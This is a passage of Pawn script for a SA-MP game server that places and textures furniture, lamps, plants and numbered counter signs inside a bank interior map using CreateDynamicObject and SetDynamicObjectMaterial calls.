        SetDynamicObjectMaterial( AG_Bank3[143], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[144], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[145], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[146], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        CreateDynamicObject(19325, 1412.60974, 1320.78882, 1501.28259,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(19325, 1412.60669, 1310.53210, 1501.28259,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(19325, 1412.59338, 1315.85974, 1505.95728,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);

        AG_Bank3[148] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1500.86975,   0.00000, 90.00000, -90.00000, 27, 63, -1, 200.00);
        AG_Bank3[149] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1501.20581,   0.00000, 90.00000, -90.00000, 27, 63, -1, 200.00);
        AG_Bank3[150] = CreateDynamicObject(968, 1412.63416, 1324.49341, 1501.54175,   0.00000, 90.00000, -90.00000, 27, 63, -1, 200.00);
        AG_Bank3[151] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1500.86975,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[152] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1501.20581,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[153] = CreateDynamicObject(968, 1412.64001, 1306.87244, 1501.54175,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[148], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank3[149], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank3[150], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank3[151], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank3[152], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank3[153], 1,  19325, "lsmall_shops", "lsmall_window01", 0xFF9FF5FF);

        CreateDynamicObject(2166, 1397.08081, 1328.00000, 1500.08655,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2166, 1397.08081, 1322.37927, 1500.08655,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1714, 1396.09290, 1328.61316, 1500.08862,   0.00000, 0.00000, 24.96000, 27, 63, -1, 200.00);
        CreateDynamicObject(1714, 1396.09241, 1322.87146, 1500.08862,   0.00000, 0.00000, 24.96000, 27, 63, -1, 200.00);
        CreateDynamicObject(1714, 1401.31909, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 27, 63, -1, 200.00);
        CreateDynamicObject(1714, 1403.20508, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 27, 63, -1, 200.00);
        CreateDynamicObject(1714, 1409.60828, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 27, 63, -1, 200.00);
        CreateDynamicObject(1714, 1407.73083, 1322.60889, 1500.08862,   0.00000, 0.00000, -13.02000, 27, 63, -1, 200.00);
        CreateDynamicObject(2164, 1396.26099, 1324.76672, 1500.08643,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2161, 1404.46484, 1323.85510, 1500.08643,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2163, 1405.80005, 1323.85510, 1500.08643,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2186, 1392.36316, 1324.45142, 1500.08704,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2164, 1391.93518, 1328.08655, 1500.08643,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2163, 1391.92871, 1326.30945, 1500.08643,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2162, 1391.92871, 1321.50000, 1500.08643,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1808, 1392.10205, 1323.00684, 1500.08728,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);

        CreateDynamicObject(1721, 1397.36389, 1319.75916, 1500.08728,   0.00000, 0.00000, 15.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1721, 1395.88953, 1319.73755, 1500.08728,   0.00000, 0.00000, -15.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1721, 1397.22388, 1325.33923, 1500.08728,   0.00000, 0.00000, 15.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1721, 1395.82947, 1325.41748, 1500.08728,   0.00000, 0.00000, -15.00000, 27, 63, -1, 200.00);

        AG_Bank3[137] = CreateDynamicObject(19373, 1396.93469, 1324.87634, 1500.18811,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[137], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFBCE4FA);

        CreateDynamicObject(2194, 1395.78455, 1321.13220, 1501.12170,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2194, 1395.78345, 1326.69922, 1501.12170,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2194, 1392.17676, 1327.23853, 1501.24304,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(2854, 1405.64832, 1320.77136, 1500.92175,   0.00000, 0.00000, 7.20000, 27, 63, -1, 200.00);

        AG_Bank3[156] = CreateDynamicObject(19373, 1396.18518, 1320.51880, 1500.00476,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[157] = CreateDynamicObject(19373, 1396.18518, 1324.01563, 1500.00684,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[158] = CreateDynamicObject(19373, 1396.18518, 1327.51367, 1500.00476,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[159] = CreateDynamicObject(19378, 1405.14807, 1325.69373, 1500.00598,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[156], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank3[157], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank3[158], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);
        SetDynamicObjectMaterial( AG_Bank3[159], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF3F3F3F);

        AG_Bank3[160] = CreateDynamicObject(2725, 1404.53479, 1320.82739, 1500.48645,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[161] = CreateDynamicObject(2725, 1405.69995, 1320.82739, 1500.48645,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[160], 0, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank3[161], 0, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank3[160], 1, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank3[161], 1, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank3[160], 2, 1223, "dynsigns", "white64", 0xFF737373);
        SetDynamicObjectMaterial( AG_Bank3[161], 2, 1223, "dynsigns", "white64", 0xFF737373);

        AG_Bank3[162] = CreateDynamicObject(2203, 1405.07104, 1320.58838, 1500.24365,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[162], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank3[163] = CreateDynamicObject(14834, 1405.05615, 1320.58911, 1500.12891,   0.00000, 0.00000, -45.54000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[163], 2, 1223, "dynsigns", "white64", 0x00737373);

        AG_Bank3[164] = CreateDynamicObject(630, 1406.33606, 1315.95398, 1501.10229,   0.00000, 0.00000, -42.90000, 27, 63, -1, 200.00);
        AG_Bank3[165] = CreateDynamicObject(630, 1404.50464, 1316.00122, 1501.10229,   0.00000, 0.00000, -144.24001, 27, 63, -1, 200.00);
        AG_Bank3[166] = CreateDynamicObject(631, 1406.14978, 1311.41174, 1500.97607,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[167] = CreateDynamicObject(631, 1399.52966, 1311.48853, 1500.97607,   0.00000, 0.00000, -11.52000, 27, 63, -1, 200.00);
        AG_Bank3[168] = CreateDynamicObject(630, 1392.94385, 1316.80518, 1501.10229,   0.00000, 0.00000, -267.53995);
        SetDynamicObjectMaterial( AG_Bank3[164], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[165], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[166], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[167], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[168], 1, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank3[133] = CreateDynamicObject(19089, 1397.06567, 1321.33374, 1509.6312,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[134] = CreateDynamicObject(19089, 1396.46777, 1510.35718, 1510.35718,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[135] = CreateDynamicObject(19089, 1395.84766, 1321.33374, 1510.10522,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[136] = CreateDynamicObject(19089, 1396.43567, 1321.33374, 1510.35718,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[138] = CreateDynamicObject(19089, 1397.06567, 1326.98840, 1509.6312,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[155] = CreateDynamicObject(19089, 1396.43567, 1326.98840, 1510.35718,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[169] = CreateDynamicObject(19089, 1395.84766, 1326.98840, 1510.10522,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);

        SetDynamicObjectMaterial( AG_Bank3[133], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[134], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[135], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[136], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[138], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[155], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[169], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        AG_Bank3[170] = CreateDynamicObject(2114, 1397.05713, 1326.99194, 1502.3715,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[171] = CreateDynamicObject(2114, 1396.43005, 1326.99194, 1502.84351,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[172] = CreateDynamicObject(2114, 1395.84399, 1326.99194, 1502.59058,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[173] = CreateDynamicObject(2114, 1397.05713, 1321.33521, 1502.3715,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[174] = CreateDynamicObject(2114, 1396.43005, 1321.33521, 1502.84351,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[175] = CreateDynamicObject(2114, 1395.84399, 1321.33521, 1502.59058,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[170], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[171], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[172], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[173], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[174], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[175], 0, 2026, "shadetmp", "kb_lightshade", 0xFFFFFFFF);

        AG_Bank3[176] = CreateDynamicObject(2268, 1395.40137, 1326.93201, 1501.21692,   0.00000, 90.00000, 330.00000, 27, 63, -1, 200.00);
        AG_Bank3[177] = CreateDynamicObject(2040, 1395.87854, 1327.09436, 1500.79565,   0.00000, 0.00000, 60.00000, 27, 63, -1, 200.00);
        AG_Bank3[178] = CreateDynamicObject(2752, 1395.86145, 1327.09924, 1500.87744,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[179] = CreateDynamicObject(2752, 1395.75903, 1327.19727, 1501.18384,   90.00000, 0.00000, 60.00000, 27, 63, -1, 200.00);
        AG_Bank3[180] = CreateDynamicObject(2752, 1395.86145, 1321.44519, 1500.87744,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[181] = CreateDynamicObject(2752, 1395.75903, 1321.54333, 1501.18384,   90.00000, 0.00000, 60.00000, 27, 63, -1, 200.00);
        AG_Bank3[182] = CreateDynamicObject(2268, 1395.40137, 1321.27795, 1501.21692,   0.00000, 90.00000, 330.00000, 27, 63, -1, 200.00);
        AG_Bank3[183] = CreateDynamicObject(2040, 1395.87854, 1321.44043, 1500.79565,   0.00000, 0.00000, 60.00000, 27, 63, -1, 200.00);
        AG_Bank3[184] = CreateDynamicObject(2040, 1400.77417, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 27, 63, -1, 200.00);
        AG_Bank3[185] = CreateDynamicObject(2752, 1400.74866, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[186] = CreateDynamicObject(2752, 1400.91565, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 27, 63, -1, 200.00);
        AG_Bank3[187] = CreateDynamicObject(2268, 1400.34375, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 27, 63, -1, 200.00);
        AG_Bank3[188] = CreateDynamicObject(2040, 1408.89722, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 27, 63, -1, 200.00);
        AG_Bank3[189] = CreateDynamicObject(2752, 1402.54468, 1321.13416, 1500.81006,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[190] = CreateDynamicObject(2752, 1409.03857, 1321.15808, 1501.12720,   0.00000, 90.00000, 165.00000, 27, 63, -1, 200.00);
        AG_Bank3[191] = CreateDynamicObject(2268, 1408.46680, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 27, 63, -1, 200.00);
        AG_Bank3[192] = CreateDynamicObject(2040, 1406.97424, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 27, 63, -1, 200.00);
        AG_Bank3[193] = CreateDynamicObject(2752, 1406.94873, 1321.15808, 1500.81006,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[194] = CreateDynamicObject(2752, 1407.11560, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 27, 63, -1, 200.00);
        AG_Bank3[195] = CreateDynamicObject(2268, 1406.54382, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 27, 63, -1, 200.00);
        AG_Bank3[196] = CreateDynamicObject(2040, 1402.56226, 1321.15173, 1500.69336,   0.00000, 0.00000, 75.00000, 27, 63, -1, 200.00);
        AG_Bank3[197] = CreateDynamicObject(2752, 1408.8756, 1321.1407, 1500.8101,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[198] = CreateDynamicObject(2752, 1402.70361, 1321.17212, 1501.12720,   0.00000, 90.00000, 165.00000, 27, 63, -1, 200.00);
        AG_Bank3[199] = CreateDynamicObject(2268, 1402.13184, 1320.84680, 1501.14941,   0.00000, 90.00000, -15.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[176], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[177], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[178], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[179], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[180], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[181], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[182], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[183], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[184], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[185], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[186], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[187], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[188], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[189], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[190], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[191], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[192], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[193], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[194], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[195], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[196], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[197], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[198], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[199], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[176], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[182], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[187], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[191], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[195], 1, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[199], 1, 1223, "dynsigns", "white64", 0xFF000000);

        AG_Bank3[200] = CreateDynamicObject(2268, 1396.46143, 1327.44128, 1501.21692,   0.00000, 90.00000, 150.00000, 27, 63, -1, 200.00);
        AG_Bank3[201] = CreateDynamicObject(2268, 1396.46143, 1321.78735, 1501.21692,   0.00000, 90.00000, 150.00000, 27, 63, -1, 200.00);
        AG_Bank3[202] = CreateDynamicObject(2268, 1401.23767, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 27, 63, -1, 200.00);
        AG_Bank3[203] = CreateDynamicObject(2268, 1403.02576, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 27, 63, -1, 200.00);
        AG_Bank3[204] = CreateDynamicObject(2268, 1409.36072, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 27, 63, -1, 200.00);
        AG_Bank3[205] = CreateDynamicObject(2268, 1407.43774, 1321.61975, 1501.14941,   0.00000, 90.00000, -195.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[200], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[201], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[202], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[203], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[204], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[205], 0, 1223, "dynsigns", "white64", 0xFF000000);
        SetDynamicObjectMaterial( AG_Bank3[200], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[201], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[202], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[203], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[204], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank3[205], 1, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank3[206] = CreateDynamicObject(19327,1404.632,1320.701,1500.546,0.000,0.000,0.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[206], 0, "2",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank3[207] = CreateDynamicObject(19327,1409.574,1312.207,1500.585,-90.000,133.699,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[207], 0, "(",  120, "Ariel", 130, 0, -4397830, 0, 0);
        AG_Bank3[208] = CreateDynamicObject(19327,1402.776,1320.697,1500.545,0.000,0.000,0.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[208], 0, "1", 120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank3[209] = CreateDynamicObject(19327,1408.976,1320.654,1500.546,0.000,0.000,0.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[209], 0, "3",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank3[210] = CreateDynamicObject(19327,1410.887,1320.659,1500.558,0.000,0.000,0.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[210], 0, "4",  120, "Ariel", 140, 0, -6760456, 0, 0);
        AG_Bank3[211] = CreateDynamicObject(19327,1402.328,1312.014,1500.584,-90.000,38.800,180.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[211], 0, "(",  120, "Ariel", 130, 0, -4397830, 0, 0);
        AG_Bank3[212] = CreateDynamicObject(19327,1395.937,1321.530,1501.186,0.000,0.000,150.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[212], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank3[213] = CreateDynamicObject(19327,1395.923,1327.193,1501.194,0.000,0.000,150.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[213], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank3[214] = CreateDynamicObject(19327,1399.911,1321.478,1500.537,0.000,0.000,-195.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[214], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 0);
        AG_Bank3[215] = CreateDynamicObject(19327,1402.589,1321.241,1501.117,0.000,0.000,-195.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[215], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank3[216] = CreateDynamicObject(19327,1406.983,1321.245,1501.133,0.000,0.000,-195.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[216], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);
        AG_Bank3[217] = CreateDynamicObject(19327,1408.898,1321.248,1501.131,0.000,0.000,-195.000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterialText(AG_Bank3[217], 0, "Local",  140, "Ariel", 35, 1, -7548425, 0, 1);

        AG_Bank3[218] = CreateDynamicObject(19443, 1399.62415, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[219] = CreateDynamicObject(19443, 1400.97107, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[220] = CreateDynamicObject(19443, 1402.31799, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[221] = CreateDynamicObject(19443, 1403.66504, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[222] = CreateDynamicObject(19443, 1405.01196, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[223] = CreateDynamicObject(19443, 1406.35901, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[224] = CreateDynamicObject(19443, 1407.70605, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[225] = CreateDynamicObject(19443, 1409.05310, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[226] = CreateDynamicObject(19443, 1410.40015, 1322.05505, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[227] = CreateDynamicObject(19443, 1400.21631, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[228] = CreateDynamicObject(19443, 1401.56335, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[229] = CreateDynamicObject(19443, 1402.91040, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[230] = CreateDynamicObject(19443, 1404.25745, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[231] = CreateDynamicObject(19443, 1405.60437, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[232] = CreateDynamicObject(19443, 1406.95142, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[233] = CreateDynamicObject(19443, 1408.29834, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[234] = CreateDynamicObject(19443, 1409.64526, 1311.75281, 1505.27534,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[218], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[219], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[220], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[221], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[222], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[223], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[224], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[225], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[226], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[227], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[228], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[229], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[230], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
